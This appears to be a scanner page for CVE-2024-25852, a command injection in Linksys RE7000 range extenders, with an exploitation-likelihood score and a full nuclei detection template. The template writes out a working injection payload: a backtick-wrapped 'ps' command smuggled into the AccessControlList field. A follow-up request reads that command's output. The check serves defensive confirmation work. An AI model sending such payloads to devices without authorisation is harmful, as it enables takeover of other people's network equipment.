Linksys RE7000 - Command Injection

highseverity

16.5%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Linksys RE7000 v2.0.9, v2.0.11, and v2.0.15 have a command execution vulnerability in the "AccessControlList" parameter of the access control function point

Impact

An attacker can use the vulnerability to obtain device administrator rights.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: PUT /goform/AccessControl
Send: GET /{{filename}}.txt
Positive when: contains_all(body_1,"result","success") && contains_all(body_2,"PID","USER","VSZ","STAT","COMMAND") and status_code_1 == 200 && status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2024-25852 -u <target>

The full check

id: CVE-2024-25852

info:
  name: Linksys RE7000 - Command Injection
  author: s4e-io
  severity: high
  description: |
    Linksys RE7000 v2.0.9, v2.0.11, and v2.0.15 have a command execution vulnerability in the "AccessControlList" parameter of the access control function point
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: An attacker can use the vulnerability to obtain device administrator rights.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25852
    - https://github.com/ZackSecurity/VulnerReport/blob/cve/Linksys/1.md
    - https://immense-mirror-b42.notion.site/Linksys-RE7000-command-injection-vulnerability-c1a47abf5e8d4dd0934d20d77da930bd
  classification:
    epss-score: 0.16519
    epss-percentile: 0.97021
  metadata:
    verified: true
    max-request: 1
    vendor: Linksys
    product: RE7000
  tags: cve,cve2024,unauth,injection,vkev,vuln

variables:
  filename: "{{rand_base(5)}}"

http:
  - raw:
      - |
        PUT /goform/AccessControl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"AccessPolicy":"0","AccessControlList":"`ps>/etc_ro/lighttpd/RE7000_www/{{filename}}.txt`"}

  - raw:
      - |
        GET /{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_1,"result","success") && contains_all(body_2,"PID","USER","VSZ","STAT","COMMAND")'
          - "status_code_1 == 200 && status_code_2 == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from